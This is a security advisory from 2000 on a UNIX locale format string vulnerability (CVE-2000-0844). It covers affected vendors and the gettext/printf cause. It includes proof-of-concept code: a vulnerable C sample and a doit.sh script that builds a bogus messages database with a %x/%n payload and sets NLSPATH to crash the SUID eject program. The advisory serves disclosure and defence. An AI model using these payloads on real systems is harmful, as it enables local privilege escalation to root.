UNIX Locale Format String Vulnerability

Advisory ID: CORE-090400

Bugtraq ID: 1634

CVE Name: CVE-2000-0844

Title: UNIX locale format string vulnerability

Class: Input Validation Error

Remotely Exploitable: Yes (on some systems)

Locally Exploitable: Yes

 

Vulnerability Description:
This report is being released earlier (it was originally scheduled for Sept 11th., 2000) due to the fact that information regarding the vulnerability has been made public by several vendors.

Many UNIX operating systems provide internationalization support according to the X/Open XPG3, XPG4 and Sun/Uniforum specifications using the of the locale subsystem.

The locale subsystem comprises a set of databases that store language and country specific information and a set of library functions used to store, retrieve and generally manage that information.

In particular a database with messages used by almost all the operating system programs is keep for each supported language.

The programs access this database using the gettext(3), dgettext(3), dcgettext(3) C functions (Sun/Uniforum specifications) or catopen(3), catgets(3) and catclose(3) ( X/Open XPG3 and XPG4 specification).

Generally a program that needs to display a message to the user will obtain the proper language specific string from the database using the original message as the search key and printing the results using the printf(3) family of functions.

By building and installing a custom messages database an attacker can control the output of the message retrieval functions that get feed to the printf(3) functions.

Bad coding practices and the ability to feed format strings to the later functions makes it possible for an attacker to execute arbitrary code as a privileged user (root) using almost any SUID program on the vulnerable systems.

Alternatively, on some operating systems, the problem can be exploited remotely using the environment variable passing options in telnetd. However, a remote attacker must be able to place the suitable messages database on the target host (i.e. anonymous ftp, NFS, email, etc.)

Vulnerable Packages/Systems:
Sun Microsystems Inc.
Solaris 2.x, Solaris 7, Solaris 8 (x86 and Sparc architectures)
Silicon Graphics Inc.
IRIX 6.2 to 6.5.8
Linux
RedHat Linux
Debian Linux
Conectiva Linux 4.0 or higher
All supported versions of Conectiva Linux use Glibc 2.1.1 which explicity checks and ignores the NLSPATH environment variable if the catopen() and catgets() functions are called from a SUID executable.

Verified and reported by Andreas Hasenak
Although the above text is the result of research and email communications that took place during the last 2 weeks, the release of security advisories from RedHat, Debian and Conectiva Linux acknowledging the existence of the problem seems to probe otherwise.

Suspected vulnerable [not checked]
AIX
HP-UX
Tru64 (Digital Unix)
SCO OpenServer
SCO Unixware
Systems not vulnerable
OpenBSD
As reported by Theo deRaadt
FreeBSD
As reported by Kris Kennaway
FreeBSD does not allow the use of the NLSPATH
environment variable in privileged (SUID) applications.
FreeBSD can not be exploited remotely either, since the /usr/bin/login program does not use the cat* functions and is SUID root.

 

Other vendors
Contact vendor for a fix

Vendor notified on: August 22nd, 2000

Credits:
This vulnerability was discovered by Ivan Arce of CORE SDI S.A., Buenos Aires, Argentina.

This advisory was drafted with the help of the SecurityFocus.com Vulnerability Help Team.

Technical Description - Exploit/Concept Code:
Passing unchecked user supplied data as a format string to the printf(3) functions can lead to unexpected changes of flow control and execution of arbitrary code in context of the vulnerable program. The following C program exemplifies the problem described:
-----sample.c-----
void main(int argc, char **argv)
{
/* This is proper use */
printf("%s
",argv[1]);
/* This is bad use */
printf(argv[1]);
printf("
");
}
------------------
In the above example if argv[1] is a string with characters interpreted by printf(3) as formatting characters, the behavior of the program can be altered to execute arbitrary code in a way _similar_ to the exploitation of buffer overflow vulnerabilities:
$ cc -o sample sample.c
$ ./sample hello
hello
hello
$ ./sample %x%x%x%x%x%n%n%n%n%n%n%n%n%n
%x%x%x%x%x%n%n%n%n%n%n%n%n%n
Memory fault (core dumped)
$
Recent posts to computer security lists and related publications provide good reference material to understand the problem and possible ways to exploit it.
It has been found that most programs in many popular operating systems suffer from this problem derived from the way the messages database of the locale subsystem is used.
In particular, privileged programs (programs with the SUID bit set) that execirse access to the database using the gettext(3) function in a vulnerable manner are directly exploitable and allow an attacker to obtain root privileges instantly.
The following code exemplifies a common bad coding practice that makes the cited programs vulnerable:
main(int argc, char **argv)
{
if(argc > 1) {
printf(gettext("usage: %s filename
"),argv[0]);
exit(0);
}
printf("normal execution proceeds...
");
}
Here the output of the gettext(3) function is not validated and passed directly to printf(3).
gettext(3) searches the messages database for a message that matches the key "usage: %s filename
" in the current locale settings and returns it to the caller.
A malicious, unprivileged, user can build and install a bogus messages database and instruct the vulnerable program to use it, thus controlling the output of gettext() and force-feeding formatting characters to printf(3).
The problem above is NOT related to the user input to the program but instead to the data contained in the messages database.
The following commands demonstrates the problem:
$ uname -a
SunOS maul 5.7 Generic_106541-02 sun4m Sparc SUNW,SPARCstation-5
$ ls -l
$ ls -l /usr/bin/eject
-r-sr-xr-x 1 root bin 14352 Oct 6 1998 /usr/bin/eject
$ eject -x`perl -e 'print "ABCDEF". "A"x507`
eject: illegal option -- x
usage: eject [-fndq] [name | nickname]
options: -f force eject
-n show nicknames
-d show default device
-q query for media present
-p do not call eject_popup
$ cat >doit.sh
#!/bin/ksh
export NLSPATH=:`pwd`
echo domain "messages" > messages.po
echo msgid ""usage: %s [-fndq] [name | nickname]\\
"" >> messages.po
echo msgstr "`perl -e 'print "%x"x112 . "%n"'`" >> messages.po
msgfmt messages.po
cp messages.mo SUNW_OST_OSCMD
cp messages.mo SUNW_OST_OSLIB
exec eject -x`perl -e 'print "ABCDEF" . "A"x507'`
^D
$ ./doit.sh
eject: illegal option -- x
effffba47efefeff1ff00ef735a38effffba4000447ef7fca782effffac4129642326c00effffa60
115083effffac44effffad05effffb2c002effffac4effffad023000000000000000000000002eff
ffba4effffbaa0effffdaeeffffdbfeffffdd5effffdf1effffdf8effffe10effffe2eeffffe9aef
fffebeeffffed0effffedeeffffef2efffff0befffff20efffff33efffff42efffff5aefffff72ef
ffff7defffff94efffff9defffffaf07d8efffffd67deefffffea3100344205591142c7ef7d00008
0610007d007d13ee7d217d317d9300656a656374002d78Segmentation Fault
$ exit
As shown, the SUID program 'eject' follows the user directives to use a custom (bogus) messages database. The specific way to do it vary in different operating systems but usually involves the usage of environment variables (NLSPATH, LC_MESSAGES, LANG, etc.) and/or locale library functions (textdomain(3), bindtextdomain(3),etc.)

The problem however stems from bad coding practices in the operating system's programs:
- A SUID program should not follow the users directives of what database it should use, locale databases should be taken from a secure trusted directory.
- Output of gettext(3) should not be passed as a format string directly to printf(3) functions.